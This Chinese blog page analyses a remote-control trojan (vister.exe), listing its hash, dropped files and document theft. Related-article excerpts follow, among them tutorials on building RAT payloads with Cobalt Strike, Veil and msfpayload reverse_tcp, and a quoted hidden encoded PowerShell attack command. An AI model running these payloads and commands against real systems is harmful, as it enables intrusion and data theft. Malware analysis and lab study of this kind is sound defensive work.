【原创】一次远控木马分析

病毒来源：从VPS上发现此木马

提取样本后分析

文件名：vister.exe

MD5:30866adc2976704bca0f051b5474a1ee

此处创建了一个进程

申明了一个2800大小的Space.buffer

并将地址mov到5123EA08

导入win32 api 创建了文件，继续走。

Loadlibrary加载了msvcrt.dll，获取memcpy的函数地址。

这里调用了大量win32 API

Manifest

创建打开config.cnt文件

在路径C:\WINDOWS\Help\下内容：

判断C:\WINDOWS\Help\config.cnt 文件是不是存在，不存在的话，写入磁盘。

空间信息

这里是将磁盘信息加密后写入C:\WINDOWS\system32\wbem\wbemups.dll。

此处将doc;ppt;wps;xls等文件进行压缩处理（这里比较多我就截一点了）

程序此模块执行流程图

剩下的由于时间原因就先分析到这，过两天再把分析完，分享给大家。

原文地址：https://www.cnblogs.com/blck/p/8318256.html

时间： 2024-10-09 01:03:40

【原创】一次远控木马分析的相关文章

控制指令高达二十多种：远控木马Dendoroid.B分析报告( 转)

控制指令高达二十多种:远控木马Dendoroid.B分析报告 IT社区推荐资讯 - ITIndex.net Apr 24 近期,360团队截获了一款功能强大的专业间谍软件,它可以通过PC端远程控制中招用户的手机,控制指令高达二十多种,窃取用户手机通讯录,短信,照片及其它重要隐私数据.这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似,所以我们将其命名为 Android.Dendoroid.B. 一.木马Android受控端恶意行为分析 ‍‍ 1.释放文件,隐藏图标,启

老王教你分析远控木马是怎样工作的

本来是一个朋友给我,要我找下后门的,可是这远控太强大了,而且作者的汇编基础非常强,就没找到,倒是无巧不成书的,发现了他的隐藏技术,瞬间感觉喜欢上了,于是写成了win32 分享下,3分钟前,主动防御会拦截,但是电脑重启后程序可以运行,现在又测试了下,已经变成高危病毒了,无语的360啊...源码如下,各位可以根据需要修改: [AppleScript] 纯文本查看复制代码 ? 001 002 003 004 005 006 007 008 009 010 011 012 013 014 0

云控木马分析

附件地址 http://yunpan.cn/cweSZX8T4k9Tz 访问密码 a865 先跑跑流程: 发先会创建一个spoolsc.exe,并且创建该进程以及修改注册表,访问网络操作,以及删除自身木马分析: 通过GetModuleFileNameA()函数获取当前被加载文件路径(即木马的路径) 1: 00402466 56 push esi 2: 00402467 57 push edi 3: 00402468 68 04010000 push 0x104 4: 0040246D 68

一起应急远控事件分析

攻击者执行的Powershell命令如下: pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8Ad

Python3实现ICMP远控后门(上)

这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两种协议在木马通信上很流行,特点是比较隐蔽,不容易被封锁.HTTP协议主要是用在以大型网站作为C&C服务器的场景,例如之前就有使用twitter作为 C&C服务器. 本次就以ICMP协议进行分析,并使用Python开发出一个ICMP远控后门,在写这篇文章的之前,我感觉大家对ICMP协议肯定不会很

Cobalt Strike入门教程-通过exe木马实现远控

Cobalt Strike(简称CS)有很多功能,这篇文章主要介绍最基本的功能:通过exe木马实现远程控制. CS分为两部分:客户端和Team Server服务端.这两部分都依赖Java 1.8,所以运行CS程序前要安装JRE. 分享一个Cobalt Strike v3.8的试用版,可长期试用.百度网盘:https://pan.baidu.com/s/1nXq58froWt0mu3q8I4HsSQ,提取码:fdvb. 第1步:启动CS服务端将下载的CS程序放到Kali中,执行./teamser

【原创】利用Office宏实现powershell payload远控

本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境:虚拟机_Kali 依赖:Veil-Evasion.MacroShop 0x00 安装Veil-Evasion.MacroShop (老鸟可绕过) 本例采用git 安装. 打开Veil-Evasion的github页面:https://github.com/Veil-Framewor

python+msf make windows远控

分析的一个远控,感谢wstone的指导~ 创建dll ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 -t dll X > /tmp/sc.dll python main.py import sys, os import shutil import time import ctypes import glob import multiprocessing import multiprocess

使用远见远控软件控制靶机

控制端:运行在攻击者的电脑中,负责控制其他肉鸡被控制端:需要生成,与你行在肉鸡上,木马病毒两端需要数据互通打开远见,在系统设置里修改密码后重启然后打开hfs 右键,选择添加文件,将consys21.dll文件添加进来,然后右键该文件,选择复制url 先浏览器打开看一下能否访问在远见中点击服务生成设置端口将复制的url粘贴到控件地址中,域名ip填写虚拟机ip 在服务生成窗口,点击生成,选择保存文件的路径,点击保存,就生成了远控服务程序了将生成的程序,移动到win7虚拟机上运行